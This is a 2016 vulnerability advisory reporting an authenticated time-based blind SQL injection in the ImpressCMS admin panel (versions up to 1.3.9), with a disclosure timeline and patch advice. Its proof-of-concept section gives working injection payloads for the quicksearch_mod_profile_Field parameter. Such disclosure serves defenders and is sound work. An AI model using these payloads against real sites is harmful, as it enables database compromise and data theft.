84 lines
No EOL
2.6 KiB
Text
84 lines
No EOL
2.6 KiB
Text
=============================================
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MGC ALERT 2016-002
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- Original release date: April 8, 2016
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- Last revised: April 21, 2016
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- Discovered by: Manuel García Cárdenas
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- Severity: 7,1/10 (CVSS Base Score)
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=============================================
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I. VULNERABILITY
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-------------------------
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Time-based SQL Injection in Admin panel ImpressCMS <= v1.3.9
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II. BACKGROUND
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ImpressCMS is a community developed Content Management System for easily
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building and maintaining a dynamic web site.
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III. DESCRIPTION
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This bug was found using the portal with authentication as administrator.
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To exploit the vulnerability only is needed use the version 1.0 of the HTTP
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protocol to interact with the application.
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It is possible to inject SQL code in the variable
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"quicksearch_mod_profile_Field" on the page
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"/modules/profile/admin/field.php".
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IV. PROOF OF CONCEPT
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-------------------------
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The following URL's and parameters have been confirmed to all suffer from
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Time Based Blind SQL injection.
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quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
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(SELECT(SLEEP(1)))IRLV) AND ('DhUh' LIKE
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'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15
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quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
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(SELECT(SLEEP(5)))IRLV) AND ('DhUh' LIKE
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'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15
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V. BUSINESS IMPACT
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-------------------------
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Public defacement, confidential data leakage, and database server
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compromise can result from these attacks. Client systems can also be
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targeted, and complete compromise of these client systems is also possible.
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VI. SYSTEMS AFFECTED
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ImpressCMS <= v1.3.9
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VII. SOLUTION
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Install vendor patch.
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VIII. REFERENCES
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http://www.impresscms.org/
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IX. CREDITS
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This vulnerability has been discovered and reported
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by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
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X. REVISION HISTORY
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April 8, 2016 1: Initial release
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April 21, 2016 2: Revision to send to lists
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XI. DISCLOSURE TIMELINE
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April 8, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
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April 8, 2016 2: Send to vendor
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April 15, 2016 3: New contact to vendor with no response
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April 21, 2016 4: Send to the Full-Disclosure lists
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XII. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is" with no
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warranties or guarantees of fitness of use or otherwise.
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XIII. ABOUT
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-------------------------
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Manuel Garcia Cardenas
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Pentester |